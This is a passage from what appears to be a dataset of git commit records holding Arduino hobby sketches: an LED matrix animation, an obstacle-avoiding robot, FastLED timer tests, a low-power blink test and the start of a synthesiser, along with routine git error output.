\/\/ Red and time (not to exceed 255 since uint8_t is used below) to next LED\n \/\/rainbow(1);\n\n\nSerial.print(\"Frame in loop=\");\nSerial.print(frame);\nSerial.println(); \ndelay(200); \n \/\/sensorValue = analogRead(sensorPin); \/\/read the analog input value and print it\n \/\/int frame = sensorValue\/250;\n\nrainbowCycle(128);\n \/\/colorWipe1(strip.Color(0, 0, 255), 10); \/\/ Red and time to next LED\n }\n \n\n\/\/ Slightly different, this makes the rainbow equally distributed throughout\nvoid rainbowCycle(uint8_t wait) {\nframe=myRemoteRead();\nSerial.print(\"Frame in Show Routine=\");\nSerial.print(frame);\nSerial.println(); \n\/\/Frame 1\nif (frame==1) {\n \nuint32_t myMatrixRow1[256] = {d,d,w,w,d,d,d,d,d,d,d,d,d,d,d,d,\n d,d,d,d,d,d,d,d,d,d,d,w,d,w,d,d,\n d,d,d,w,d,w,d,d,d,d,d,d,d,d,d,d,\n d,d,d,d,d,d,d,d,d,w,d,d,d,d,d,d,\n d,d,d,d,d,d,w,w,w,w,w,d,d,d,d,d,\n d,d,d,d,d,w,w,w,w,w,d,d,d,d,d,d,\n d,d,d,d,d,r,r,r,g,r,r,r,d,d,d,d,\n d,d,d,r,r,r,r,g,r,r,r,r,d,d,d,d,\n d,d,d,r,r,r,r,g,g,g,r,r,r,r,d,d,\n d,d,r,r,r,r,g,g,g,r,r,r,r,d,d,d,\n d,d,d,r,r,r,g,g,g,g,g,r,r,r,d,d,\n d,d,r,r,g,g,g,g,g,g,g,r,r,d,d,d,\n d,d,d,r,g,g,g,g,g,g,g,g,g,r,d,d,\n d,d,d,r,r,r,r,y,r,r,r,r,d,d,d,d,\n d,d,d,d,d,r,r,r,y,r,r,r,d,d,d,d,\n d,d,d,d,d,r,r,y,r,r,d,d,d,d,d,d};\n \nfor(i=0; i< strip.numPixels(); i++) {\n strip.setPixelColor(i, myMatrixRow1[i]);\n strip.setBrightness(1);\n \/\/delay(50);\n }\n\n\n \/\/delay(4000);\n}\n\n\/\/Frame 2\nelse if (frame==2) {\n\nuint32_t myMatrixRow2[256] = {d,d,d,d,d,d,d,d,r,d,d,d,d,d,d,d,\n d,d,d,d,d,d,d,r,d,d,d,d,d,d,d,d,\n d,d,d,d,d,d,d,r,w,r,d,d,d,d,d,d,\n d,d,d,d,d,r,r,w,r,r,d,d,d,d,d,d,\n d,d,d,d,d,d,d,r,r,r,d,d,d,d,d,d,\n d,d,d,d,d,d,d,y,d,d,d,d,d,d,d,d,\n d,d,d,d,d,d,d,d,y,d,d,d,d,d,d,d,\n d,d,d,d,w,w,w,w,w,w,w,d,d,d,d,d,\n d,d,d,d,d,w,w,w,w,w,w,w,d,d,d,d,\n d,d,d,d,w,w,w,w,w,w,w,d,d,d,d,d,\n d,d,d,d,d,w,w,w,w,w,w,w,d,d,y,d,\n y,d,y,d,w,w,w,w,w,w,w,d,d,d,d,d,\n y,y,y,d,d,w,w,w,w,w,w,w,d,d,y,d,\n d,y,y,y,w,w,w,w,w,w,w,y,y,y,y,d,\n d,d,d,y,y,y,y,y,y,y,y,y,y,y,d,d,\n d,d,d,y,y,y,y,y,y,y,y,y,d,d,d,d};\n\nfor(i=0; i< strip.numPixels(); i++) {\n strip.setPixelColor(i, myMatrixRow2[i]);\n strip.setBrightness(1);\n \/\/delay(50);\n }\n \n\n \/\/delay(1000);\n}\n\n\/\/Frame 3\nelse if (frame==3) {\n\nuint32_t myMatrixRow3[256] = {d,d,d,d,d,d,d,g,g,d,d,d,d,d,d,d,\n d,d,d,d,d,d,d,g,g,d,d,d,d,d,d,d,\n d,d,d,d,d,d,b,g,g,g,d,d,d,d,d,d,\n d,d,d,d,d,d,g,g,b,r,d,d,d,d,d,d,\n d,d,d,d,d,g,g,g,b,g,b,d,d,d,d,d,\n d,d,d,d,d,g,b,g,g,g,b,d,d,d,d,d,\n d,d,d,d,g,g,b,g,g,g,b,b,d,d,d,d,\n d,d,d,d,g,r,g,b,b,g,g,g,d,d,d,d,\n d,d,d,g,b,g,g,g,g,b,b,g,g,d,d,d,\n d,d,d,g,b,p,g,g,g,b,b,g,g,d,d,d,\n d,d,b,g,p,g,g,b,g,g,g,g,b,b,d,d,\n d,d,g,g,y,g,b,b,g,r,g,b,b,g,d,d,\n d,g,g,g,g,b,b,g,g,g,b,b,g,g,g,d,\n d,d,d,d,d,d,y,y,y,y,d,d,d,d,d,d,\n d,d,d,d,d,d,y,y,y,y,d,d,d,d,d,d,\n d,d,d,d,d,d,y,y,y,y,d,d,d,d,d,d};\n\nfor(i=0; i< strip.numPixels(); i++) {\n strip.setPixelColor(i, myMatrixRow3[i]);\n strip.setBrightness(1);\n \/\/delay(50);\n }\n\n\n \/\/delay(1000);\n}\nif (frame<=3){\n if(frame>=0) {\n strip.show();\n }\n }\n\/\/delay(5000);\n}\n\nint myRemoteRead(){\nint remoteframe=3;\nSerial.print(\"remoteframe=\");\nSerial.print(remoteframe);\nSerial.println(); \nif (irrecv.decode(&results)) \/\/ have we received an IR signal?\n {\n\/\/switch(results.value){\nif(results.value==0xA3C8EDDB){\n\n\/\/case 0xA3C8EDDB: \/\/ + button pressed\nremoteframe=1; \/\/set frame to 1 if remote control + button is pressed\nreturn remoteframe;\n\/\/break;\n}\n\nelse if (results.value==0xE5CFBD7F){\n\/\/case 0xE5CFBD7F: \/\/ - button pressed\nremoteframe=2; \/\/set frame to 1 if remote control + button is pressed\nreturn remoteframe;\n\/\/break;\n }\n\n\/\/frame=3; \/\/set frame to default 3\n\n}\n\/\/irrecv.resume(); \/\/ receive the next value\nreturn remoteframe;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'projects\/arduino\/led_matrix_256\/led_matrix_256.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1fc91e1bdfbf4cc0492a3dc7def26911fa87c659","subject":"add omni ketch","message":"add omni ketch\n","repos":"MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI","old_file":"testing\/arduino\/self-driving-v6-omni.ino","new_file":"testing\/arduino\/self-driving-v6-omni.ino","new_contents":"#include \"Arduino.h\"\n\/\/#include \"Adafruit_NeoPixel.h\"\n#include \"Servo.h\"\n#include \"NewPing.h\"\n\n\/\/ Base Date\nconst uint16_t initialDelay = 2500;\n\n\/\/ Ranges and Data\nconst uint8_t rangeLimit_Warning1 = 60;\nconst uint8_t rangeLimit_Warning2 = 55;\nconst uint8_t rangeLimit_Warning3 = 45;\nconst uint8_t rangeLimit_Stop = 35;\nconst uint8_t motorSpeed = 70; \/\/ max: 255\n\nconst uint16_t rangeLimit_RotateFor = 250;\nunsigned long rangeLimit_Timestamp = 0;\nbool wheelSpinCompleted = true;\n\n\n\/\/ Ultrasonic Sensor\nconst uint8_t trigPin = 11;\nconst uint8_t echoPin = 12;\nconst uint16_t maxDistance = 250;\n\nNewPing sonar(trigPin, echoPin, maxDistance);\n\nuint16_t rangeLeft;\nuint16_t rangeCenter;\nuint16_t rangeRight;\nuint16_t lastRange;\n\n\/\/ LED\n\/\/const uint8_t ledPin = 11;\n\/\/const bool ledBatterySaving = true;\n\/\/Adafruit_NeoPixel LEDStrip = Adafruit_NeoPixel(24, ledPin, NEO_GRB + NEO_KHZ800);\n\n\/\/ Motor \/ Wheels\nconst uint8_t motorPin1_1 = A3;\nconst uint8_t motorPin1_2 = A2;\nconst uint8_t motorEnablePin1 = 6;\n\nconst uint8_t motorPin2_1 = A5;\nconst uint8_t motorPin2_2 = A4;\nconst uint8_t motorEnablePin2 = 3;\n\nconst uint8_t motorPin3_1 = A1;\nconst uint8_t motorPin3_2 = A6;\nconst uint8_t motorEnablePin3 = 9;\n\nServo ServoMotor;\nconst uint8_t servoPin = 10;\n\nconst uint8_t servoLimitLeft = 170;\nconst uint8_t servoTiltLeft = 130;\nconst uint8_t servoLimitRight = 10;\nconst uint8_t servoTiltRight = 50;\nconst uint8_t servoCenter = 90;\n\nenum direction {\n LEFT,\n NONE,\n RIGHT\n};\ndirection servoRangeDirection = NONE;\nbool servoTriggerActive = true;\nbool servoTriggerObstacleDelayFlag = true;\n\ndirection servoLastScan = NONE;\nint servoCountHelper = 5;\n\n\/\/ IR obstacle detection\n\/\/int obstaclePin = A1;\n\n\nvoid setup()\n{\n \/\/ Scanner\n pinMode(trigPin, OUTPUT); \/\/ Sets the trigPin as an Output\n pinMode(echoPin, INPUT); \/\/ Sets the echoPin as an Input\n\n rangeLimit_Timestamp = millis();\n\n pinMode(motorEnablePin1, OUTPUT);\n analogWrite(motorEnablePin1, 255);\n\n pinMode(motorEnablePin2, OUTPUT);\n analogWrite(motorEnablePin2, 255);\n\n pinMode(motorEnablePin3, OUTPUT);\n analogWrite(motorEnablePin3, 255);\n\n \/\/ Motor\n pinMode(motorPin1_1, OUTPUT);\n pinMode(motorPin1_2, OUTPUT);\n\n pinMode(motorPin2_1, OUTPUT);\n pinMode(motorPin2_2, OUTPUT);\n\n pinMode(motorPin3_1, OUTPUT);\n pinMode(motorPin3_2, OUTPUT);\n\n \/\/ IR Detector\n \/\/pinMode(obstaclePin, INPUT);\n\n \/\/LEDStrip.begin();\n \/\/LEDStrip.show(); \/\/ Initialize all pixels to 'off'\n\n \/\/ attach servo pin and set to initial direction\n ServoMotor.attach(servoPin, 400, 2600);\n ServoMotor.write(servoCenter);\n}\n\nvoid GetRange(int servoPos, bool rotating)\n{\n long range = sonar.ping_cm();\n\n \/\/ fallback if return value is out of range\n if(range == 0 && rotating) { range = maxDistance; }\n if(range == 0) { range = lastRange; }\n if(range > 0 && !rotating) { lastRange = range;}\n\n if(servoPos == servoCenter) { rangeCenter = range; }\n if(servoPos > servoCenter) { rangeLeft = range; }\n if(servoPos < servoCenter) { rangeRight = range; }\n}\n\nbool GetObstacle()\n{\n \/*\n if(analogRead(obstaclePin) < 500)\n {\n \/\/ TODO: check if we really need servoTriggerObstacleDelayFlag\n if(!servoTriggerActive && servoTriggerObstacleDelayFlag)\n {\n servoTriggerObstacleDelayFlag = false;\n return false;\n }\n\n servoTriggerObstacleDelayFlag = true;\n return true;\n }\n servoTriggerObstacleDelayFlag = true;\n *\/\n return false;\n}\n\nvoid SetServoAngle(uint8_t angle)\n{\n ServoMotor.write(angle);\n delay(20);\n}\n\n\nvoid SetMotorWorker(int pin1, int pin2, int enablePin, int speed)\n{\n analogWrite(enablePin, abs(speed));\n\n if (speed < 0)\n {\n analogWrite(pin1, 0);\n analogWrite(pin2, 255);\n }\n\n if (speed > 0)\n {\n analogWrite(pin1, 255);\n analogWrite(pin2, 0);\n }\n\n if (speed == 0)\n {\n analogWrite(pin1, 0);\n analogWrite(pin2, 0);\n }\n}\n\n\nvoid SetMotor(int id, int speed)\n{\n if(id == 1)\n {\n SetMotorWorker(motorPin1_1, motorPin1_2, motorEnablePin1, speed);\n }\n\n if(id == 2)\n {\n SetMotorWorker(motorPin2_1, motorPin2_2, motorEnablePin2, speed);\n }\n\n if(id == 3)\n {\n SetMotorWorker(motorPin3_1, motorPin3_2, motorEnablePin3, speed);\n }\n}\n\n\nvoid ColorSet(uint32_t c)\n{\n \/*\n for(uint16_t i=0; i < LEDStrip.numPixels(); i++)\n {\n if(ledBatterySaving && i%8 == 0 || !ledBatterySaving)\n {\n LEDStrip.setPixelColor(i, c);\n }\n }\n LEDStrip.show();\n *\/\n}\n\n\nvoid SetLightByRange(long range)\n{\n \/*\n uint32_t color = LEDStrip.Color(0, 255, 0);\n if(range < rangeLimit_Warning1) { color = LEDStrip.Color(127, 255, 0);}\n if(range < rangeLimit_Warning2) { color = LEDStrip.Color(255, 255, 0); }\n if(range < rangeLimit_Warning3) { color = LEDStrip.Color(255, 127, 0); }\n if(range < rangeLimit_Stop) { color = LEDStrip.Color(255, 0, 0); }\n\n ColorSet(color);\n *\/\n}\n\nvoid SetLightInitState()\n{\n \/*\n ColorSet(LEDStrip.Color(255, 255, 255));\n *\/\n SetMotor(1, 0);\n SetMotor(2, 0);\n SetMotor(3, 0);\n\n}\n\nvoid SetLightErrorState()\n{\n \/\/ColorSet(LEDStrip.Color(0, 0, 255));\n}\n\nvoid SetServo(uint32_t uptime, uint8_t servoPos)\n{\n uint32_t interval = 750;\n uint32_t intervalRange = 250;\n if(uptime > interval+1 && servoTriggerActive && uptime % interval <= intervalRange)\n {\n servoTriggerActive = false;\n\n if(servoLastScan == RIGHT)\n {\n SetServoAngle(servoTiltLeft);\n servoLastScan = LEFT;\n }\n else\n {\n SetServoAngle(servoTiltRight);\n servoLastScan = RIGHT;\n }\n }\n if(uptime % interval > intervalRange)\n {\n servoTriggerActive = true;\n }\n\n if(servoPos >= servoTiltLeft || servoPos <= servoTiltRight)\n {\n servoCountHelper--;\n }\n\n if(servoCountHelper <= 0)\n {\n servoCountHelper = 5;\n SetServoAngle(servoCenter);\n }\n}\n\nvoid SetServoRangeDirection()\n{\n if(rangeLeft > rangeRight)\n {\n servoRangeDirection = LEFT;\n }\n else\n {\n servoRangeDirection = RIGHT;\n }\n}\n\n\nvoid loop()\n{\n uint32_t uptime = millis();\n uint8_t servoPos = ServoMotor.read();\n\n GetRange(servoPos, wheelSpinCompleted);\n\n SetServo(uptime, servoPos);\n\n \/\/ Wait for initial scans before performing any actions\n if(uptime < initialDelay)\n {\n SetLightInitState();\n delay(10);\n return;\n }\n\n bool obstacleFound = GetObstacle();\n if(obstacleFound)\n {\n SetLightErrorState();\n }\n else\n {\n SetLightByRange(rangeCenter);\n }\n\n \/\/ obstacle is further away than X cm\n \/\/ and no obstacle in front of the IR sensor\n if(!obstacleFound && wheelSpinCompleted && rangeCenter > rangeLimit_Stop)\n {\n rangeLimit_Timestamp = uptime;\n\n \/\/ slightly turn if side better than center\n if(rangeCenter < rangeLimit_Warning1 && rangeRight > 0 && rangeLeft > 0)\n {\n if(rangeRight > rangeLeft && rangeRight > rangeCenter )\n {\n \/\/ drive straight\n SetMotor(1, motorSpeed);\n SetMotor(2, motorSpeed\/2);\n \/\/SetMotor(3, 0);\n }\n\n if(rangeLeft > rangeRight && rangeLeft > rangeCenter )\n {\n \/\/ drive straight\n SetMotor(1, motorSpeed\/2);\n SetMotor(2, motorSpeed);\n \/\/SetMotor(3, 0);\n }\n }\n\n \/\/ drive straight\n SetMotor(1, motorSpeed);\n SetMotor(2, motorSpeed);\n \/\/SetMotor(3, 0);\n }\n else\n {\n if(servoRangeDirection == NONE)\n {\n SetServoRangeDirection();\n }\n\n if(servoRangeDirection == LEFT)\n {\n SetMotor(1, -motorSpeed);\n SetMotor(2, motorSpeed);\n \/\/SetMotor(3, motorSpeed);\n }\n else\n {\n SetMotor(1, motorSpeed);\n SetMotor(2, -motorSpeed);\n \/\/SetMotor(3, -motorSpeed);\n }\n\n wheelSpinCompleted = false;\n\n \/\/ TODO: if this is going on for too long - stop\n\n if(rangeCenter > rangeLimit_Warning3 && (rangeLimit_Timestamp + rangeLimit_RotateFor) <= uptime)\n {\n wheelSpinCompleted = true;\n servoRangeDirection = NONE;\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'testing\/arduino\/self-driving-v6-omni.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"69c0d25d0ab7f2c427c23e8e1a4e57d5c4a6c7bf","subject":"Create every_n_timers.ino","message":"Create every_n_timers.ino","repos":"marmilicious\/FastLED_examples","old_file":"every_n_timers.ino","new_file":"every_n_timers.ino","new_contents":"\/\/ Experiments with EVERY_N timer stuff.\n\/\/ Testing: manually creating timer, checking with if statement,\n\/\/ and using setPeriod(), getPeriod(), getRemaining(), and reset()\n\/\/\n\/\/ Open serial monitor to follow some output.\n\/\/\n\/\/ Marc Miller, Apr. 2016\n\/\/\n\/\/------------------------------------------------------------------\n#include \"FastLED.h\"\n#define LED_TYPE LPD8806\n#define DATA_PIN 11\n#define CLOCK_PIN 13\n#define NUM_LEDS 32\nCRGB leds[NUM_LEDS];\n\nuint16_t tTime = 10; \/\/ seconds to next trigger. Get's randomized.\nuint16_t cTime = 10; \/\/ Count after trigger for n seconds\nuint16_t rTime = 3; \/\/ Reset after n seconds\n\nboolean timerTriggered = 0; \/\/ Event triggered? [1=true, 0=false]\nboolean counterTriggered = 0; \/\/ Time to count?\nboolean resetTriggered = 0; \/\/ Should strip be reset?\nboolean firstRun = 1; \/\/ Will only have this run once.\nuint8_t pos = 0; \/\/ A pixel position.\n\n\n\/\/------------------------------------------------------------------\nvoid setup(){\n Serial.begin(115200); \/\/ Allows serial monitor output (check baud rate)\n delay(2500); \/\/ Power-up delay\n FastLED.addLeds<LED_TYPE, DATA_PIN, CLOCK_PIN, GRB>(leds, NUM_LEDS).setCorrection(TypicalLEDStrip);\n FastLED.setBrightness(128);\n Serial.println(\"Setup done.\");\n}\n\n\n\/\/------------------------------------------------------------------\nvoid loop(){\n static CEveryNSeconds triggerTimer(tTime);\n static CEveryNSeconds countTimer(cTime);\n static CEveryNSeconds resetTimer(rTime);\n\n if (firstRun == 1){\n EVERY_N_MILLISECONDS(300){\n fill_solid(leds, NUM_LEDS, CHSV(160,200,70)); \/\/ Blue\n FastLED.show();\n }\n EVERY_N_MILLISECONDS(600){\n FastLED.clear();\n FastLED.show();\n }\n EVERY_N_SECONDS(4){\n firstRun = 0; \/\/ Set firstRun to false so it won't run again.\n resetTriggered = 1;\n resetTimer.reset(); \/\/ Start reset timer\n }\n }\n\n\n if (timerTriggered == 1) {\n if (triggerTimer) { \/\/ check if time reached\n Serial.println(\"Event has been triggered!\");\n triggerTimer.setPeriod( random8(8,17) ); \/\/ Set a new random trigger time\n tTime = triggerTimer.getPeriod();\n timerTriggered = 0;\n counterTriggered = 1;\n countTimer.reset(); \/\/ Start count timer\n } else {\n EVERY_N_MILLISECONDS(70){\n leds[pos] = CHSV(96,200,190);\n pos = (pos+1) % NUM_LEDS;\n fadeToBlackBy(leds, NUM_LEDS,80);\n leds[0] = CHSV(96,255,255);\n FastLED.show();\n }\n EVERY_N_SECONDS(1){\n Serial.print(\" Next trigger in \");\n Serial.print(triggerTimer.getRemaining());\n Serial.println(\"...\");\n }\n }\n }\n\n\n if (counterTriggered == 1) {\n EVERY_N_MILLISECONDS(250){\n FastLED.clear();\n for (uint8_t i=0; i<NUM_LEDS; i=i+2){\n leds[i] = CHSV(10,255,160);\n FastLED.show();\n }\n }\n EVERY_N_MILLISECONDS(500){\n FastLED.clear();\n for (uint8_t i=1; i<NUM_LEDS; i=i+2){\n leds[i] = CHSV(32,255,100);\n FastLED.show();\n }\n }\n\n if (countTimer) { \/\/ check if time reached\n Serial.println(\">>> Count reached! <<< \");\n fill_solid(leds, NUM_LEDS, CRGB::Red);\n FastLED.show();\n counterTriggered = 0;\n resetTriggered = 1;\n resetTimer.reset(); \/\/ Start reset timer\n } else {\n EVERY_N_SECONDS(1){\n Serial.print(\" Counting: \");\n uint16_t count = countTimer.getElapsed();\n Serial.println(count);\n }\n }\n }\n\n\n if (resetTriggered == 1) {\n if (resetTimer) { \/\/ check if time reached\n Serial.println(\" Strip reset. \");\n FastLED.clear();\n FastLED.show();\n resetTriggered = 0; \/\/ Strip has been reset\n timerTriggered = 1; \/\/ Look for next event trigger\n countTimer.reset(); \/\/ Start count timer\n triggerTimer.reset(); \/\/ Start trigger timer\n }\n }\n\n\n}\/\/----End main loop----\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'every_n_timers.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a69f8fadb68c7509155a278b91f2a35d728b8401","subject":"Optimise data types","message":"Optimise data types\n\nThere is NO reason to have the sensor value global!","repos":"majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino","old_file":"build\/shared\/examples\/03.Analog\/AnalogInput\/AnalogInput.ino","new_file":"build\/shared\/examples\/03.Analog\/AnalogInput\/AnalogInput.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"fatal: remote error: upload-pack: not our ref a69f8fadb68c7509155a278b91f2a35d728b8401\nfatal: the remote end hung up unexpectedly\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"c8c88372658540dff5b03bbfb5bcfdb602124b35","subject":"Update Titan16_3DOF.ino","message":"Update Titan16_3DOF.ino","repos":"wzschoche\/Titan-Rover,wzschoche\/Titan-Rover,wzschoche\/Titan-Rover","old_file":"Robotic Arm\/Titan16_3DOF\/Titan16_3DOF.ino","new_file":"Robotic Arm\/Titan16_3DOF\/Titan16_3DOF.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Robotic' did not match any file(s) known to git\nerror: pathspec 'Arm\/Titan16_3DOF\/Titan16_3DOF.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"007cca7ed8184447ad0786d19e97f09e2fb53738","subject":"Updated but not functional yet, problem with types","message":"Updated but not functional yet, problem with types\n","repos":"quinten991\/PenO3OnTrack,quinten991\/PenO3OnTrack,quinten991\/PenO3OnTrack,quinten991\/PenO3OnTrack,quinten991\/PenO3OnTrack","old_file":"Arduino\/GPS+Serial\/GPS+Serial.ino","new_file":"Arduino\/GPS+Serial\/GPS+Serial.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/quinten991\/PenO3OnTrack.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"9d43469b31e6ab09f9e861992f71fbd9594f41e3","subject":"Initial test for TeleNode V2","message":"Initial test for TeleNode V2\n","repos":"totothekiller\/weather-station,totothekiller\/weather-station","old_file":"TeleInfo\/TeleInfo_NodeV2\/TeleInfo_NodeV2.ino","new_file":"TeleInfo\/TeleInfo_NodeV2\/TeleInfo_NodeV2.ino","new_contents":"\/*\n TX Node for Teleinformation EDF (compteur type A14C5)\n\n Info from http:\/\/blog.cquad.eu\/2012\/02\/02\/recuperer-la-teleinformation-avec-un-arduino\/\n Doc from EDF http:\/\/norm.edf.fr\/pdf\/HN44S812emeeditionMars2007.pdf\n\n New Implementation based on Mini Ultra 8 MHz\n http:\/\/www.rocketscream.com\/shop\/mini-ultra-8-mhz-arduino-compatible\n\n Select boad : \"Arduino Pro or Pro Mini\"\n Select processor : \"ATmega328 3.3V 8 Mhz\"\n\n\n Low Power Library by RocketScream\n http:\/\/www.rocketscream.com\/blog\/2011\/07\/04\/lightweight-low-power-arduino-library\/\n\n*\/\n\n#include <Manchester.h>\n#include <LowPower.h>\n\nvoid setup()\n{\n\n}\n\nvoid loop()\n{\n\n \/\/ Enter power down state for 8 s with ADC and BOD module disabled\n LowPower.powerDown(SLEEP_8S, ADC_OFF, BOD_OFF);\n \n \/\/ initialize digital pin 13 as an output.\n pinMode(13, OUTPUT);\n\n digitalWrite(13, HIGH); \/\/ turn the LED on (HIGH is the voltage level)\n delay(1000); \/\/ wait for a second\n digitalWrite(13, LOW); \/\/ turn the LED off by making the voltage LOW\n delay(1000); \/\/ wait for a second\n digitalWrite(13, HIGH); \/\/ turn the LED on (HIGH is the voltage level)\n delay(1000); \/\/ wait for a second\n digitalWrite(13, LOW); \/\/ turn the LED off by making the voltage LOW\n delay(1000); \/\/ wait for a second\n digitalWrite(13, HIGH); \/\/ turn the LED on (HIGH is the voltage level)\n delay(500); \/\/ wait for a second\n digitalWrite(13, LOW); \/\/ turn the LED off by making the voltage LOW\n delay(500); \n digitalWrite(13, HIGH); \/\/ turn the LED on (HIGH is the voltage level)\n delay(500); \/\/ wait for a second\n digitalWrite(13, LOW);\n delay(200); \/\/ wait for a second\n digitalWrite(13, HIGH); \/\/ turn the LED on (HIGH is the voltage level)\n delay(200); \/\/ wait for a second\n digitalWrite(13, LOW); \/\/ turn the LED off by making the voltage LOW\n delay(200); \n digitalWrite(13, HIGH); \/\/ turn the LED on (HIGH is the voltage level)\n delay(200); \/\/ wait for a second\n digitalWrite(13, LOW);\n\n \/\/ initialize digital pin 13 as an output.\n pinMode(13, INPUT);\n}\n\n\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'TeleInfo\/TeleInfo_NodeV2\/TeleInfo_NodeV2.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7d603cacb95ddc38b8eadc713d464b3e84173782","subject":"Tried to fix errors to thermal HUD code","message":"Tried to fix errors to thermal HUD code\n\nThe fixs applied fixed some of the errors, but more still need to be\nfixed.\n","repos":"E-Ruhl\/ECE_411_Practicum,E-Ruhl\/ECE_411_Practicum","old_file":"Thermal Imaging HUD code\/Thermal_HUD_bicubic\/Thermal_HUD_bicubic.ino","new_file":"Thermal Imaging HUD code\/Thermal_HUD_bicubic\/Thermal_HUD_bicubic.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Thermal' did not match any file(s) known to git\nerror: pathspec 'Imaging' did not match any file(s) known to git\nerror: pathspec 'HUD' did not match any file(s) known to git\nerror: pathspec 'code\/Thermal_HUD_bicubic\/Thermal_HUD_bicubic.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2bef18bcbc77e2b00d8e470f2af55e28d478a69a","subject":"Initial commit","message":"Initial commit\n","repos":"Jaidan\/jaidan-hab,Jaidan\/jaidan-hab","old_file":"src\/gateway\/gateway.ino","new_file":"src\/gateway\/gateway.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"fatal: invalid reference: FETCH_HEAD^\n","license":"mit","lang":"Arduino"} {"commit":"0e3533ac71beab9896ae2713ecc14eb5c6a7cf96","subject":"Transfer for further use","message":"Transfer for further use\n","repos":"spoollord\/MyOurWeather,spoollord\/MyOurWeather","old_file":"MyOurWeather.ino","new_file":"MyOurWeather.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/spoollord\/MyOurWeather.git\/'\n","license":"isc","lang":"Arduino"} {"commit":"47eed7ea21a8f6d7465edf523e1bef1ed72ee367","subject":"Create TB6612FNG.ino","message":"Create TB6612FNG.ino","repos":"TheDIYGuy999\/TB6612FNG","old_file":"examples\/TB6612FNG\/TB6612FNG.ino","new_file":"examples\/TB6612FNG\/TB6612FNG.ino","new_contents":"\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/TB6612FNG\/TB6612FNG.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"09281a0f4b7b32096ace2e4eee66b4dce244aacc","subject":"Adding original Audiono code","message":"Adding original Audiono code\n","repos":"seanbechhofer\/arduino","old_file":"code\/Auduino\/Auduino.ino","new_file":"code\/Auduino\/Auduino.ino","new_contents":"\/\/ Auduino, the Lo-Fi granular synthesiser\n\/\/\n\/\/ by Peter Knight, Tinker.it http:\/\/tinker.it\n\/\/\n\/\/ Help: http:\/\/code.google.com\/p\/tinkerit\/wiki\/Auduino\n\/\/ More help: http:\/\/groups.google.com\/group\/auduino\n\/\/\n\/\/ Analog in 0: Grain 1 pitch\n\/\/ Analog in 1: Grain 2 decay\n\/\/ Analog in 2: Grain 1 decay\n\/\/ Analog in 3: Grain 2 pitch\n\/\/ Analog in 4: Grain repetition frequency\n\/\/\n\/\/ Digital 3: Audio out (Digital 11 on ATmega8)\n\/\/\n\/\/ Changelog:\n\/\/ 19 Nov 2008: Added support for ATmega8 boards\n\/\/ 21 Mar 2009: Added support for ATmega328 boards\n\/\/ 7 Apr 2009: Fixed interrupt vector for ATmega328 boards\n\/\/ 8 Apr 2009: Added support for ATmega1280 boards (Arduino Mega)\n\n#include <avr\/io.h>\n#include <avr\/interrupt.h>\n\nuint16_t syncPhaseAcc;\nuint16_t syncPhaseInc;\nuint16_t grainPhaseAcc;\nuint16_t grainPhaseInc;\nuint16_t grainAmp;\nuint8_t grainDecay;\nuint16_t grain2PhaseAcc;\nuint16_t grain2PhaseInc;\nuint16_t grain2Amp;\nuint8_t grain2Decay;\n\n\/\/ Map Analogue channels\n#define SYNC_CONTROL (4)\n#define GRAIN_FREQ_CONTROL (0)\n#define GRAIN_DECAY_CONTROL (2)\n#define GRAIN2_FREQ_CONTROL (3)\n#define GRAIN2_DECAY_CONTROL (1)\n\n\n\/\/ Changing these will also requires rewriting audioOn()\n\n#if defined(__AVR_ATmega8__)\n\/\/\n\/\/ On old ATmega8 boards.\n\/\/ Output is on pin 11\n\/\/\n#define LED_PIN 13\n#define LED_PORT PORTB\n#define LED_BIT 5\n#define PWM_PIN 11\n#define PWM_VALUE OCR2\n#define PWM_INTERRUPT TIMER2_OVF_vect\n#elif defined(__AVR_ATmega1280__)\n\/\/\n\/\/ On the Arduino Mega\n\/\/ Output is on pin 3\n\/\/\n#define LED_PIN 13\n#define LED_PORT PORTB\n#define LED_BIT 7\n#define PWM_PIN 3\n#define PWM_VALUE OCR3C\n#define PWM_INTERRUPT TIMER3_OVF_vect\n#else\n\/\/\n\/\/ For modern ATmega168 and ATmega328 boards\n\/\/ Output is on pin 3\n\/\/\n#define PWM_PIN 3\n#define PWM_VALUE OCR2B\n#define LED_PIN 13\n#define LED_PORT PORTB\n#define LED_BIT 5\n#define PWM_INTERRUPT TIMER2_OVF_vect\n#endif\n\n\/\/ Smooth logarithmic mapping\n\/\/\nuint16_t antilogTable[] = {\n 